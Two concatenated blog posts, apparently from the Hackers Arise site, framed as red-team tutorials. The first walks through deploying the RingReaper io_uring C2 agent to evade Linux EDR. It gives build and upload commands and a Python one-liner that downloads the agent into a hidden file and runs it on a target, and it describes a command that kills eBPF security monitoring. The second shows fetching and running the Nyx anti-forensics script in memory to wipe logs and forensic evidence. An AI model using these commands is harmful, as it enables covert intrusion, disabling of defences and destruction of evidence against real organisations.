Welcome back, aspiring cyberwarriors!

Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.

Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.

The technique we will discuss today was developed by MatheuZSecurity.

Bypassing EDR

Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.

With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.

This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.

Setting Up

To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.

kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y

By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.

After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.

Once the IP address has been updated, compile the project and upload it to a temporary hosting service.

kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload

After the upload completes, you will receive a URL that can be used to download the binary.

Connecting to C2

First we need to start our server.py on Kali. 

kali > python3 server.py --ip 192.168.131.7 --port 443

With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.

ubuntu > python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.

When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.

Running Commands

Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.

The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.

If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation. 

You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.

Finally, the most interesting command is killbpf.

Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.

The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps.  Disrupting them can interfere with security monitoring.

Below you can see the tool working alongside TrendMicro. 

Summary

This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.

If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.

The post Hacking: Linux EDR Evasion with io_uring first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.